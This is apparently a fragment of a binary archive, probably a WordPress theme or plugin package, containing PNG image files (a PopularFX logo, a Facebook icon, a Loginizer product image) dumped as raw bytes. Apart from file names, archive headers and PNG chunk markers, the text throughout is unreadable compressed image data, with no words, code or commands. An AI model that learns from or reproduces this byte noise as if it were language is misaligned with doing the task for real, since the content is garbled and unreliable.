́wC\uy:SpHXQqrG5n]dT.qY^L#Cs:|9*U_j2o(JNr3pA\8AY+QCsSzrC3 ;Hgfdđ(awnsIdCAv zcaʝ>a:BugK{.` DS8RV 3lLH9d&KWq1^Ezn$%dI N2NGq0*4tw\CӍ0Nn䟎UDS΋j/ӽLeh>#rdN!K +*a0PMX PkMKԟ+A,5M#44!acD*%`> %zهa#j\? wy {`񨕍"|zPxܾݩ})1gj>OQG-JU!Iqh5ݶSfĻ#̡6 Qm .X4-@!bt2(6V嘎AKDݕ8 e_O[@lvAM F>ɦ9ͤqXNDs+W4ڤ :tՕߟ?>-ElT jIW5Vx؎RTPa Yc (enTIb4lӜT_QLFaݱd%.,IENDB`images/popularfx-logo.png000064400000003474152507063360011514 0ustar00PNG  IHDR<<:rsRGB, pHYs.#.#x?vIDATxݚ lELJJ)"bD-JQ1 U  !QDC PGF 1Q+*B %RyD0AP(Ҏv:77{%Pٝw;=Bn[F- [^DK(00\B H<\B >΃QJ@cNpE{0{[9 105 D#uN䈯%fPoPdT&n4} o+ԗ&ج+X2W_b@"|<,cǙ ւws!n9%)em6 En{i7`@JYQeboQQ \L?, Xel6Z&vm O |hYh6vfj%Vhapc: sfV9LOz̐n{@E[^oc'" +$b#c0 {f$_Y & ŗdOpkY+;.SQglV"&[S0BO@ #n ##ɵ, ^F ٶDž,.7Xخ={e\P61(ֳ1T&*hӖuikx V +‡M]s|΍cl"֖,FxoϺlV *»u;'Y&o~aVd2i:Z鿯ဦIGeZa]Q[baz =Y7PȞMI uunckD$r ,ظ*H`i<_)A7.<_#LԀfĝA)xTXG]kʢRM|,.\4'ZiPJg~X> ցAY@h' OCR"Ap8"`(4xކPg Lh>M|pXq -lFJ@,5;J^g)ޞE@Sat+Bוm\n,nz߾$<0x%0JI 54g A_&epG)<t%HiU`ǁv=t1!;Kͅ)NM]7@h@d28!]K@X.yW |?'K `ݸph߁YTM#+3A~ಒtxc#ց|$7;/ԒO$NJ%FKsnD~h ALM6Iwdi_3 ! ,h;6V!y?,Bn1!`A.xv놷siG`]|o7tghs? 交n9zFimages/facebook.png000064400000002430152507063360010276 0ustar00PNG  IHDR szzIDATxŗ{PU#Ci fxXdь#A"zrQ@dcT$7Tr/RDtLa 5+v;g=޻՝g{4-84 @": 7ģt%;yqG~1`=i]3Lt!IG-F :zDa MJ믝y *9&4`Wf \R 3΂~dzۏf!;yiT6\#-W g|  Ղ,q%"BfceU6p~ t9HrD@:,> %^Iֲ.J.qTc_&c׋jxR. ԗDq FH5w]k ;U XU=gg.0^8G3a{YB_.09Oss^_es ׸{xmiIa oσqՕaӞT S`)@ a.hޛR>B"CLmYaD0|d?;l4^r{c:.43񂲢̖LZƇ6>X94p'+20@2.OCʣeW*7%u_&Hzm D-qFoCJA.:BX^؅#~;dzADX7oe^9`W7\V-0AJ@]ˀkg ׶] l}R}W?M膺瘭,.8*K 45 " 6a +p1F} q(Hjc^bhfk`6GC\`)kڦ LavuT1@ 2A|LSPx>Rpչ !Fx(č@|,`OiɅ162@`q(|Y `nӅ^W\סu`:9| 3cyPsϳ8y<>^ɮEU )~>d6 3B&;m@>XuY 慆dzjO ӉCphq~G1ZnІm:@[cY6.*Ͽ@jOIENDB`images/loginizer-product.png000064400000015130152507063360012206 0ustar00PNG  IHDR@L%nesRGB, pHYs.#.#x?vIDATx] xUuoQGM@QqA}DpƍE&J"C 6 dA ˝wUvU] ם]]u.x y߀-G'W!6ΡM`gp,+@f 5 *kK`op xB4 D F1`'+%3"+v u^E0c3*0YrB@@@{\ Wglex@e`}Y x {`A1QXҒnn# ̌Tݱ%|5ҷ+Ogvaak BH%"E뛑9~$- ~߯8q,KM{搕עH);ot k:Gl26lB6w_Bx|P{~D"~v! fjŎn5Ww1oa+D XpUh³z{~`({lvoRvk!= o} XC4@#XYl.[=9}b8, ` EbJ*B4< [XkjK_VCzIن]L{SGcn>*ﮡHf#,bӳsP@dCvUI$rGY=u$IAqqq-.`-^{\9~E&: := n2|"6 }>1{:הI"^>]#u߲S OY؃`wxެ'I)ٻsfDEd/k,6%+zhnpc1.u)Aoʟ*߾uZn. Y4|2}*^ʼ\%̈́IoK=Y+ّBW΁=U쟟 -Gi~FO'&^[ShڷvY6~%k ii(b WP**dOe#lBRi(v~Cd3z@!񒎐|]ViHm}[veO?bϝƒ30yWnG&=Ȝy,+u{vXס4֟o@>([-[9l]Vev \߂ +G7/g-[y[mڛ ~fKJة3gXˢg;^RӾ|[y#]6pAPx6^@o_ 9[#"!. $f*YwYg(E5C$*+ѧ=iO!CR<1d  E}c$ҞfO F0hխhO!d]S & <^C(xmZƀσ 3NuP~[SݵoS111͈4͓i؄t4y.5J5?7:}n$sz Ýsu_ރkJ -hQc~E}{=9K Fhӥ<]fϟЁuFVۅ$4^Ul̳.ɶ:w>/`nag%jxj%v?SƗV!(J)t< 4])wؖ֜0i'1$7|_ n&nm4vz2aSW CpI\O7։iyሐk^nkTWMru䁒E>Z<˴M-X+2V?Xɞn-)bkң,z.H[;pIʘjMDivJ{.V^^ cxFS>=jORS6(4^Lp7G:KH'Y>@v-Sh3')\M}F2<. `XKi,rܽdZrv%)ohHq-]x~Xfh[a)[mE8Iĕܤ׹߅Q'/K(vWujc? ck׊1;[СFi "66YN=?uN)J)鯷DK%`4")?Qtz 05 -Ss?!`mX6%i`()sn|˖Sv%W\\aRFlR<z,]Ew`XmIR!$}ڊުI .?ry 狸n t;"P<ڥIHC@[CV``J]'EH @&^(_Ke6B1IO:K  M)J .֞ZyP{+|iYf:*Lno7dFQa4e;EP`+I5*I%<,n#ntUyKsx_,DzD ڲ9 5TWնQ\#-S Td1@4t5Zo)WNnIU:gIJq}6XS"kˠ6^A -fuF~gf ss=tV/76ؑ&N[/vJJ&}8%t ֟%e.HDڛ%e:A[HsD?(c1WHʳ _v3a蓖rVH>[̖ 8xU?Lsz`JJ+tE|,-ORVDvapm(qJ>>|Xd;fJ~HP2VaM8+&2>Sj)@~)-eͷ%o2%nkPkWϜpM2WmK")U+z+SM@=aM!\KkRG* 1HVlԈIخUiWp56Vmm& GcFYtIqLlmSkP0`$µ]:Mq&P݀Hl9ӃzNcQ /9Z::Ǭ8aZoyE?fgN5?:ĵ(00wAt CzZ AYbD#AM@DͼR./fFjz#w JA=C? Qѩrv}2w?|\w6#;L\D4P).7oȉj> t:I9^vm.3AR`Ls-ve%Ԁ+tN _ 5mQHaH!eLP9SM/$$׆Z :B}ÈE _ō2M&)Gy7:^3IBS0V[sZ5HғZ);CKnV΢ UJkK6* uYW(f[ Uyg.5kK7o ZnmZLD5HxQjOʛ# gB꩑K/ qr$̸a=uαš C;+tb ?E٭~zYymFD#X1Ճ_f~]+S&ܽFGaz{1%!h_.ȇ7 ܴv:$E>ZEᐎa4g!ں^#:f@0HW5Omdw|>k:t0`?lV3?'PS? ȷQ.SPǝAW}q0љ4lXTWo&vn="!Dn.KfeeeďҏC/9euXj8[v1ԽkAywKi@؀\βEv$mI\}s*1;91̗ظal-VG~İHy|Tr~mx mP^_-J߁b3Y5L'ss,yKq>~XHm`e[rďV{_V{~7y ѓ؃nrF00 ^T'+H U[ߩkCb==i\ BV :`eHa!pk9gH Xljch&l.{ahvvxND ui(JBݦ$>02K5@Of?WKe%xx|Bll,ӧú_[tq0zXGpc?~)>%VRT$G.?.`i =P>z@xw2Xà"d0n&kl5.^7Lp }Pa؜fC8rGϰɧ jcUi$Z&Af ?" _I2t 1t hcܯ% }^ NԎp.v2,&~rλij%9lLIvxu)%FDOWZa` 7O@6*0'oscx#a]4g 2Q`FŔP s@PJ%3BMZ$,_\z)@z @&i*;V$=3yoTG$J,I|& eavmWΠnc67)~Z:q/Yx}V-OE@&E[(~A/ 2J&ՕIEi.D"H$V*? pY-Ԗl9A-+ 2̀9d_v]naU+@A.D"H$i+;[˪<*nS[V` jY"+b2|9]pf܀/#^V.'r*_Lt2 H$D"H$R().;ŝ)eUh'вYN$ &w;1;V/+elPo*_Lt-r(E"H$D"m@L1ۀ ܲ%-+UC-+,:bR2|,`n2]F rUH"H$D"rHqep9Jp-;èr2wN903e^E=rJtY%s+i.D"H$cwK/'1\\-lвYnTE$|2+̠ r]-f*E"H$D"rNq9.rep%R[N@ b% ,\M&72+^L.F\$D"H$lR-SLp٥҅[nrXn`'Eא;8Kue tel\$D"H$VS\*SEe-r-D'ei-jY-+L&:2N;`Fex.2Fc˪|q deQHi.D"H$)ϵev).}\N-cϭ"%5ePf,>2amNY0#2^f+eJtӟkГH$D"Huz-SLpٕ&:-`ja'2NA0#^n*aLtel1i.D"H$&JLѮ[eWhLo{n9-;e`~n$nv /+e`gW6eU J?WM rH$D"HLYlb6Y-=el(p.2-3 j2L&16~bf^N.(1S]f務]-R"D"H$t(W)d}pY2[zz nteԲZVlpp[drt~;1+f_VI/3%/3e%0ZrjHoeUHi.D"H$U+).}tC. .DppXh[fNP 8F&8eN |YA/F+%1%^]E;eFЕnb:i.\$D"H$R*S\Ne.cySi2+Er풃IL&獃IXλaf 2&]fˮѪ|1UЕlb>H$D"H$:t!W).2tW-;%de`0wE&7d 3/'%.xTR]邮tSIs"H$D"6ҁ\?CTS\n>-*kp [Np˘2[22b U{dr{x.^]%JKmן˪l147 D"H$)d3Uie̲V#No+0f9^n`Y 1ՕIЕLbH$D"H$:)Ӑ(֐+2t<.e,K[v`KZV@ d JOd;wČ x.2FT\il4A.D"H$i*ɦ>\4\[}h=3?֭ݲec̏3?eˮ'5?|pӅ;|LaᎳ48|A}5_|YW_u7$!4xL&罍[|'9ٹgr[yly~nsgs8j]OsvΛ*ΥszڇWq?Ubi(Y$H$D"Ht!RTR\ɔ)QV!mk׮jd2y8'JTMs%SHD"H$D#eT1).7e:6-Q L&7E-dJdD"H$D" 澙Hqɳ):)Z L&7]Es٢~ /+f*\'f3.f?1ѥ3Uc2\D"H$鎓ݏ;r%p~ RMqR4\^{jp$KQn]>y4菾#GQR҈o~/"w}} 9?;чwhwMΏjvVA1%.c.t鐋[\:ޢ$&~IqWR]d[H$D"mxIRL(kuR:^ws>+nqO/z5|I^گ{w?׏|_9?;Ɂ \ˣ''+_>= *ˮzJIs\ɩD"H$Sdf?zppK.pj6]pc|UeVP" ݨ ΕK؆x,…o#_v\8׼_~ w`ϞUo­[+ضo3ǟEUU7nDp)q2[r\!RC>xoxïڵɜv7D7mzcwo->Oĉ{|\ٻ!<(ﭾ4>Jz^:uU|O!fۇB{uW<'"xywc sV~VV\Jb٢ Ei.rYrQdr&L"HM\"u6!2B.9m!YFzkp1f{y Uul=Yݍ==b,?%>xxDlΝ)pqfolz(xS]<>>O}+_F|ӿ:'«r"69Lw+)S929x //|>z!J~:;_8?֭կ~b?Ob 7OO=}[/_>i]نxLߵ/ ŷqߏ|o}J^l'>O'>Y\B*^}~7?.JX1]FC㓟yG{GC|y=sw= ƏG?o}qm8ZDeV((ɥ#zˬ\(7ׁS xVm.\˖I$ ?6dr:-%r[l+DQQKdn=r;CסFwBj^VDVyj'K8W _C\27xߋ_wW'"9|<44%Sǰ+b Γ|g>{x/E$ b3C >~'>?>_p_o%o|WC' şɟtO\f ,җ,<Ž]Ç[0\%R2ο_aߕװGߝ=5oo@A׾-И~S#-|@ۯү`qDDAUU\ly|;=Y:po!3OksߎK?oC|c"Iʗ< ?kbvn+[<(ɗ-Z"E`&H$\A!3i]nSdKzއ>\ ).fz xi~-vf>X|D^ s}Ldr~z\*Y]V-g\$EΖs`D"rfV?ƒ\f}de,U!^Z%f)dkټ.fyd2Yڹ\-KmX6ee׫ |/vH$&TaFZ/9fC*-yPԏK\:rӋ,CvepO4zG&ɛܤ|unEco.3Х'$;"A.r;xH$i٠V 9l#,%C.Lf)Z)Z*5?\2ŕ>\ \d2yZQ!Yn=[.[g[d.Ff3.&_wW F^$DʲDmAlC# li4_$B.=e\Nh惜b]2EE\r=#j~fnVT%267]\fi.+eV}aGo,6[m=.D+r&*ŭY/.9U$S\|PdÍufeJJבuz>b_~#kp]?.ժjf>O%E^鸚țNs>'%%Y8r$ysp.c٢lnUХ]Lv&"E"HLl)+?.kmcGzMb湭^\"r8|vW'4\z0fN=_ O MKMKۙ/oBǓbwkDΰs;? E1<s푑 Uՠ2-ꠋ]0.&nf]tӫ |%SH+"E"H@ nhv@˪ؒpYͤ 26Y2.rNL@%Ju5i]Ti^s]]3 uȥ@d2tHZ9t i.yE&:2]z. tY(șs!X..D#34!ol(3.C-Y >\fEJ">uyEPU{V\F%sr d!WIAqE7?i.&ven!]CzdyyXW&`.D#$ș2ڬ, n5*S䃓T뽸R\| %R\֥&K_o&R\dtҐkpSILs{{U-)k\z؈ޮt r"q*R_vH$Ʌ ne lebsoeB.#֧m[:2\2E+ȥ*ܩ ML5b%@.5 s9d['4bK;:轹QI]rzEr9- nc.^]߾_ti3F^I ҅]H$i/+] PqmJUMy2EnTQ\v).>@2]Ik֤ kt'W3!t-ԫѯ~?zoz;v?㇯}>}wQÏq8~kƏ0z8{ܟg%m1|od?<;?~G𽛋ߍzQGo0y%{_fȑ[^\pȥϚ"KOka֬i"ȕ~J?'4~e`u>>?+yt?o߾Uq~/lqӏ~߻1Uɣ[c?1"/9u]g ľűcz1v!R\睟m9QȏQ׹=ސznUG/ql?|uh#qqs̃fw& }u؄ާ etɐ8ۢ\hVzv3A09-Xw[MED"@ҁ[ـZX3c;e[fpk4\2ܲKp.c" 1eQR\̽Z4ȕȊk kjJDWBdr+W;\Ae ^(8қi.LI]r٢YK]ĆV}de\FeЋ?^8rJ7ݕiED"2\ltV:@k=A 9l\fdŭ&Y9U p3**>yɡv bJW!ds :;+i.terz4 s!rˬ?2KvK`e"gɒ_r"HM|\-P+ +UPB86`3h,I--9%.#^hå'^`NY؋C.>:r̨ lדC.*W$ؓK\\4]ztel:r];ke˩әh_N+rF'6յ.DtZo Nj+X(jn[fƙLQ\zrťDȵv6Eqũ8{qRE8|,d2+aJrO_7xcW@ k!l &i Ǚn.n8|yP珴By;.TvBsEڙe>AvYsyjv_/uEv0-("_ǻ(\ُؖ|Y8w],u~\6eŭ8"|M`e[k&!fvj{pwa>^9^gcy=9g87|}ϱ@ 3?y %wۋů zOg066넢ByKoBe\zKϥ.Ev]fem ~9A/rx=[JxevSD"6rJ6J[L\cGgQS\EuWƶǥu|U5lZ^}lfф{qp'pxΟ sw7.2 _<[˼/8jg}V+q-/Zz 0cf{yp~pq{_:[^nw5`엱$ެPi+7ɧ{=Q:\2)DK+ֽiFžlQNt..ozuY^F妼$s ^n^H$i( T[JmفTaV6`UcdvZw+e\^\z˘26e5y˪4-ť@.k[-c׭'n,%$̏quH1$g ^]?=+-LL{:1U݆,ԁ[rm+kZmDz/(|nź̷p ˞V,VcK'?q G>nb^n`suݘTY7&K{b3#rSl9UՋ>jb("cUkT^ęg -1q[fma04[ 6bj[v׆hQ;‡<$ƟKcE}"uZBlj?xu~xQn2noXa gtU3GVwX*BH0 |}xӀzD2Sz|o] ׂN<% ,UwcчO#I";eL-7WV!A1%-^*emKoDXI,]S]EFCY2^f˪ԑ1K~%/+d"H$S+p rJj{)*1tnK )}E9%)˫.׽u`u®i|r-{%۬Wv=&)#Њ[+gJZfkU@+9gU+aW*]Uⳮ.ٯALWmug3Vha5f#!ʶ- bӃ.n'N)%Ϣ":$.71elBo6ۢ3.{t*R{uˬI; 9lKT_nW2)L®|]$tk#dV-;J7 qDjɩ-}i&EJbyh^.SPV=}/.p)_ۓ+9d {wgfA+n]KZTaWDOn\@.nZ >4.u6п>fL!-"ѵ܃9_'k0Ў x [vU,3_K6,x:g0Yxe-BM'檻+ [rUӋHqL@Hs$\QO:1QԂm~ VA׬[_]gL lA#f 1%׆ t"v S̓%]cOHtM`5H+|c7ۏ]+a V5VSQ nMInd^]U*-`%n ߑkW%f5!("SFpts x1ܧ$ *etef}eХ/ʠK ̀ ˲^up,e$ܤLl.H$l.7 Mo[V`. J\:>NΌZĖܷĬ<8{np]76q6Epe:WKd䚘Y\nm\0DO [Pв!eprKu)\m>˅TGRPa "5UDۅ7暺|#cZo"R}+}*jlmPMwTŗrkݧ--QneumTKuaU=v$[F<#~?"Z݃XMbu#?]*|Af~.dnP!זfi̞V׀nJ0R҉aF=K<29\)'1ӋPAHq I,~9]9S`~YAdW+TW D"h#tV:i-'.ru:vNvo+eYfpK϶ޒKE#26L.>).>".b~@Xfɪ q2Yȥ.&&N%\< Lup%r\ =\!\kPmUi ـ=Q^UֆXeSĴ:1g03@.nvvcD]mb+vaۇ^]Zbwmx.dm`Z-S vcH"z5cC.?[r{wyzxicZ ӅzdеF6cVi fׄ)ġNA<3<5DQQHˢs|n4>\*p+ƤĖW0\Q^Xȷaej2LOpk+yBJGDKMzqu/lQ_%SyzU22kBo6ۢވ.ѥ.cˬ.%C/#28:A0r9]X,s3AA&Sc:.]$AD1UnMmdVd 9m0j+el,-'K;Ϥ7S˽2EDqU$Xde]rh WBzlfrI嵴tikK%O.١d Е1yϦ@e.pCcV^czLC+`˃i$M "dVY-ܫ'޴>4qpK^{{zrK8{o {Et(HffUt ^i\z٢AWbݟ,%ϸϺh,_{uK/7Kv7\_{MA0rnlV`nJvmtE"Hw+pJn%-7+Pb\x f-7&pK.OYOp/SOqњ-uwA.cb+ e6=r%o2E j%94פ5rxU.}lp^!Hq!acH1ޓ bAL{Vk0WߎY_fZfxkK^>bK,fjyx `h\a:ͥ.?^h).}Ev}u.]2/)̠9,s LLxܔ0ڕ/ft"H$e.'eV J' =%)\ryыKQiB.7M_)'ͯMq\& M".ŽZQr52Ǔ)^#r Hq+aZ@.|W0ml}]ty[T\-Xj-O nUeMHvqPݍEO/9` ȵTB0y""\5]+I.J@R^+;Q氇Cn@xO1>ba=f 0'\~,lQaBA Tqq{{1w`sݘeӻJ@h1., bwd1oҾ\n]|›aۋ>L2.6ǂj鞖/ 3_N3  0][5+lZgT[IU ХFuGV8x'0s^eLsuժ6oR]^o\X%K%䔗|ɗ0LF,t`N z^tve#Օ/D"(I+6AV&`xd$^2̒]I -܃˧Ye,S䃟b݋T,|pYV3*2Ǧ\fV,U0Y\Q+ʬZEdo#"-"VVۊ8hA3AZ1_ߎ&Դ`ڪkbmRu˕ܪlKR%۶ ,UubMxG`|jk+6`#GY C*TOE7}5C^kzDxu7F:0/Vf4mU=Տm[uU.|Q-xwb ;#X(\e7f{1U{rt#\ԁ}AI c~?yWG{V[Ǚ#w N+>ף.aU]+Dieb8AO5+`#LA\q DŽy]\lMKק$WX3zAUޣ Çr=$j٢A?AAܧˬ)qFQ^2m@/r:8 xIw]TWAW6I$Q*'Al.D­d[j-8!緍?֌?抔~E(`KpK\C[&|bh^/SK.SS\z/5).C @*9$1Spͮ+F\.gT!S1V亹RX^D53+iEp+ZEkJ.rE5a3^tFrU!ג-[\ٌf,W0WsՄEv}C,.Vv`=R۶E }uC.^ةBb,@K@\>L`T4ȵۘ7`-9<Ŗ[V!pa#ێ ;Fv,=lM5G1b\\\Irršb} ćcf]­"14bn`zdZ^Ri:6pI}/.~"Bq!\gG1R܎q^XڅpUƫ{1r8VjV@ՌV!ntɮf$%LlFR#f1]%rȑ&Dʚ1[׎xbMb)*f*D%\ք9N,Vu`K|}<֊E8ļ\V';.+T.w^\SM1z?&Pm/<==m ހ{-c>?w1l"S]Z&,l,Yz1esqnOh>C}%ۂF~rƞÈA d]o=҃p >鮍rLqS\ގ[0x7pՁ U pY7u֭-LV.Ym9S+r).JkflrZ3;7?=4Ǟ[!c 4]z˩?WPYA_s+r nv.ѬfI0-+2 2B/7*R]tH$L.rep9]jlA-K&|rbfP˘26*M[,z#! R\̏=B/w%N-I.wۭ_yEzrIuDO&Ǐ /~?i1ry vԈuaQnU RO1c-0iGMUݢ)oF`n\]+O(])yz+.OhHXa]U XhF,urնa>5`׋8OrqUACvS~D[O ܏P]/&jz0RݍrMSq421c5Ы ۙ5av۰s=^,x0WӇYo?f|%Srq^X\[}pWncfw7 _XރJ nAt_31f z1ՋMGĆcrE1vaq@V8Ўp=9pU|/@UL.jܚcUs@).pU 5-ݫeF ,5 PA0u+L̩jF\Nr=K/[|HY[϶(2Ve-jTS]jSzFgJse Dɀ07Ud;x% ܦiHo]*[t33D"6R9JpIo%2܂-3eVF8bIm5:F[:ܲ*O467ΤhՇK\r/.>h3**ZK,?gD1!\L֜LFcݘk{"B19<ɱiq$F/gq$*ZpvOh[[IZ w!r:'g3 \^Iqfp8Ԍ{pWʡ urEne7rCߢڕW\'@ TU+5'TUފ@.^8&rUT{1p_ &N>aDnL":Ct|mA't9\fS;w(.vY5^22B/#2/$9ND:07I6B/'eۥtItQD"RF\V-7p,S%nU\k!Ԓ??r-3el0D[U^2E=Q"xH4JLWhĖl r]&!Y rf0~u c`!uc 1Әx<Ɵfσ8_\g*Ù-e8WP&z]e%Vl>Շ=M|UիK ^Rׄ?&ٶяxUl~yX@Wy8b幃 e5w8.7b_@2mmꃘ䚭ČS-W, "4 b[jWgX!ԏH1Lx{0ZݍN ifw1=ܡ&X8[@xp X>.+qӋX˧.nÔ1MZnTuTZ!ΡoR./ U)T\:[^׋#}r 2> c~\aW .N\p zn{l}NKojp'Y]zb\\kt%Ci pWܷKM{UE>{nS}o9{bсY6w7I_zRQA\hLsݯ؃N%tѪO2%/cL`FfUHO'@0#^N T`W˘]*[$E"62 r+de0+eIqc da6%2ޒ[v^\|ϦKQQ.S>2@m +& Wr{(FzXmBUݘF[\B}5 v> o]P}5ƶx1[mk}WĬp'fj:v`>[bIxbmW1ЍN\h |EMLsq(c?[,U0RJvp [qH+>,1s5Aن~xbf57 kpW ]՚BpVo۩ɮ*avjl< YhVg<ދsp^?. ``_ {{w5clO"Qw=gk^f' PY jMKVKU%;5O4OlH?* w{g) j0ҏC0u&"cq1}.eJ"QVA^'Zsإ.Q]r9\h`[@i^] XNsH$҆V.S\&oYzn-; ԲX*Hxdkpe.C,qvDh`K.Gn3'ʽ:\7?:Kn6 3e2ٔ>\ְK r,j2oivI 5yz0YՅpe\e]{]v"Z%"iTԂq}G.l0>{ mfK⽸* 2%+%-⽹&5 Rڈ?e izmZ0_1W܀nvy_=6;x*/fYcyv"^ӉX5{U9 %ۘ[1Yg={n[0ԃ q1{훗I6c, Vu+jZŬ{vܪIJ\wKpaۏ99C7aгtuZ@/UŲR,+sZ*^`/h.tU [R+].@$4Qun*Kp1Ǚ{qՄs{;pn?;0{wdz'1{[WP9m6?s $xVK_լVWXL[WK]:RKC̣=z}>;D }}#L'՘r=Ie5e6ۢ?tɳ.zddlzˬј2_Bn!$22^om3URMu%P6)E"622UhoMo[V"r*O3V@r_K9~rC lɉ-<[z-p{p.> 2m6hɐ\ٜm1&+e\p <})oxyK[:Ҏm<Ԋ. RȁD-Ĕ[Ёvۈ[0ÅG8)^X{reڀ^X@be͘:(@dI#B% iiXDK|W6a7 WD^Lokێiil,/Ϟ[.O4\}JbypRByEHAS!"M@)it!}+o T$z¹z ccE~kDho#&v5`ê~L0{nT ]ALa.ۛ1Vhwcr?Oa$DbUtU).ajBQbhY%>L;\ftUk@=fw0uW㠋yzKy_Z>Zc@Liġ6lv:܆0Or5vc"Ѓ@7yTՊGرH0ÎwlUs׶a׎ Z;ޅ`܍%%nb/PߏyQaw3f7\W4í+P7 <$TX$VU v]\]U8_Xs*:s b:$<v}*e4\ܡ!ӻv/N =Ï4FD 0K5`11/V# -X,hfqveE< )Y x%B.u++..3ϏW!&i>嶓`{ldCF4\(*2-At_Y T\hLw%teeeVhba7pف/3eR]ɤ]Fe]ɖ-RD"ܥr\ҁ[Fe,=4-'D⹎of۽sF-c-<(,Q2 .n#2MqM5prsz0{ R`gX/5OlJzrm.S.<߇_}/Ʒ"t۽bm^ 0|ۇ=~Gd->v7?[o!ۏh1L\1^*RUt󕭈-ibnDp#&&D.fC^DJ?f-#^CZD kVlݡ˛ER,^ܷa2(s~,7eq+aHp`l_#V RGxH[Up UR8(_eU 4A93<յKqiom؁LVG1DĪZΘ<. ᬧO<>sw4p^ܶ1A|F s>,1{OyKmbԯ)|V{sV$.Lػkv~jkR@jhIkZ jhXb }t5=c0yiTrEuZYMs=ζ&ѥ7WV!/.#2/ol9WWb*fb"HԫM}eI/+ rJu]n@JsH$Rv+ˬrYZ˩լxV :~Nvo :dɥfPKNk [zsy#ە(:(>S%駵-ow*ML=TO. 2-S YϢ(:>Sl90ۋuvma.Da-l`=]ˑ:c ۷zWSPemh OtyEfD9؀C jÍy>T}ltyۏ꾂 *r_*N8â+ wkKto0֙ךA.Vgי$sfA|t\㬣ȹ˨WGIm; ,و32~9<"gXð6֨!]D*?]UG ԷᩗSEW'Vu"HEr2BN-9*[U((."=W~ ȵUȥu'bk/_|ȵ+貐]%.E14&q. Wx0UJj֫$ڢ.[JK@H!uT)vʋ6}cfuH\4h H bޏ0lx#eSa. Ȑmͨ`Aa¾o;Ҟ\mرb9uS uQdid3MO 6|-Xb9ҁYܭuj(ЊH;8Io?N]8ytcq2r,IU7m}cY(q5;hq״⤺ m1!s: c61cD(]&d=XE֍ᴦN)(.Ev(i<"%} a<~ׂ`mZja.}:J GVEɼǝ=88{ǣq<=8E߉&=U78EgDr1`'`$Q#gd'YA3Dv.~hT6<#^} Sҩ'XQ 1 b/T{1!)X{8.MऴemxRՉ.[.?׉$9a4EȊE p̂3CJhG39OVڮ"L>?cA%gK%F厮%g]TWK.]rz9N/yQBG"zɋeA{U.uuY"\=]"GAǍ-\ũ8$L"=\.%"/ro í˸r|P+.'~^+b!R'YrwhIV.V.%JQ:E8z.X_P=ʺdXe!+(|q\=\!W%slvun$`mw8qGİ΃Jf~rMOSصYVZ[jU4aĤcn.>+"E)8iد aƏ*v*8lj0]I^ӹwc!EUI_E d9GIg -Msk 1,Xb|e( V=q,X `.܆YV]ا#4qak'{p407pto#8 Ng X.|vEsx i^$ǃdZ䎯|/9˵ףB@2 .^eaWA'[,BTjzU?IuEέ˂-)@n;YA.x%X 8D-*F8hL:J4r\/+^ɕpA,J>¯ }5 {0X΋j'n5ic.%S+ A5FW~  >$Hj8>X1V\g]lA{٥WD>tm*:>}u9[K˽.yscҍ:vdޅ Ddreb'861[cXmb!f#` ca\ P lR'P']8!\Wp|&&x~h;H5&م/7ʚrVȱX%Zcp-Q^6/7{ܖzI5!ދ׼ tͰ袋x'J-hANc+X~{{/Ȝ\SG9Cz?sp )}~\ -cFh.SG7-8wशM=81⸲EO'8Y»KsIK΃.*Q%{.K:4(w{ɝ_9rϔ`2 \C\2K'^tIcq㺹8>mK\"^ĽuYuY%Z`V!UrR/pu@V.ԩ%[T yԹ%&[Ғ\KMqDS,]cvzBW z)'W>]2WdN=>={/j=rҁ;:TxƇL+<ڨ`FHU "]GZ!MK2B/QZIu> "?ƇMVv;U@ƚڎrrMwa3V,s- ^8ѵݾÇphǏhfKH?Ǽ> }% 01Esp87 -ɲ%kK\"9ſ{/;]YE;~.80NnkHa0|LZzy쭦/c}QE&Kb.CxcX'È6?f^v|_/ֶԋ# 99q\Ii@\ȡGanF(K>. pԛ{ Ydk1# X6,zF|y K->*ytI;=]RW%.K^R[;(^\_rXl9+곧|,w'2Kvru u%t]YusTO\\/S|{KM,*A\0+ 0)m_/_,9*:dI-{K Ēy9z.X_P=~r=.I:.mɶ~B+7* $\ksxAypGM 7ʜu^#1Ĝ)Eֈ6L|qh%s:Jb^]?>E.^"2 da+cWͱQ|΍J[^lب u.jبvaze,X`Ć3u lQ8"XrF``„)u~;).Io­X׊p'2m=8k8s'q8=9//am`HưcǚfX%=.(%.ŵ#̷Y͝mI yg{K x7O 37&z/WEo{[|++0wCPûT>c-urqm iyO4w҇:Ⱞ G(yLxı2+-sŨYټWSvc82褢@)E 5"rمsdTCɹm?z5Ur+_GDUvIc^R[r%_R%GL|Y r/ꓕ{T`E`27Xz^`W.g赃4tDɫ-7Wq*Nũ8DL&81EH/^Ľ%ܺn[RhY@e,ۦ^TnOf>p՞ f`Jܹ% E\KwpEib 15!Kg eZRz%KU0{.*gKX Vf0yw8zqGmn]ub܍ cήVE{6n`!$"J eixڻ#i >J\ARa0lWb[nVNX`]OɶV{RJkDXذTُUg."GDf!<hQ,u0Ƹ|aLX a=ІH;v[ޭ8xp #wq4Gc8kG8J ,/ g}Y 5CRuJ}D\;е%8{vsAFK: #®3'zr9ȋbd[!R+kxӺ8*cHu a@6C*]\CZFT0|g[a*8)݋='9~9ožayh>#љw~ `,bNk|vXW\kA.mws7$ ik>jhũ8ck|]_bkB xאއGL̩Fc~2Q=#Eэ(KCDA:q9!kA.Oa)٨pFfcp1WǴ)r"DG r- \si7ײ9'׆Bj-[GHνfJ]%]\]"%rI]^R`S< k]QWdj!&~r LPx\O tz*Nũ8S "WD^2p'roI 9p+B"wGn[QuRhus-cKԹ%[sKO#R%:ĢyBItpQы8ȕ#\hU0 !tmmcndܭ'.6Up̅;+=a!0#X5GAmc(i#e!m"c1)"J7Ex5n!I5n(E\XR;0op`Ή9 s'd} SMDNXu0 bĨ?0Dd@FQ,۰v ۭD=ؽ֏ԽȌq4Õ`y< RD%g'ڲnsrmd:>Q[\}JJer } u ;XQ_E`,~o*+rW< t]uQ e\EUSq*N%rUr}W\xb!EpK*PKJC@nA=nʡt9;KYr%ے-)ܒFxx#:\bDQtq1W xŐx#s%KC]/ K"m1{1;GɅ3stdu.ܫbã&C7GL;8Di+=3-8}D8RDIkTywcKyE*f0mcDɀS>.u91a2HD" q-µ U7A<1aߊH'vZу݁~$o_Cj2C[Vq6C4GX !T—86ƅn,W~Y(z_(GT\g`ZI!)A'O6"BJ]ҎI=_``hZ,EGr]\㸶dw+"HOn~+M~&fz@a~L(񴢰3P#8X92M [eAhBU҇#ZvaV)"V"<;$:.0N:rB\9 #/>VY/_@?urلQmX3و쇯b/qA"AjIN7zaQ!c6$V"y 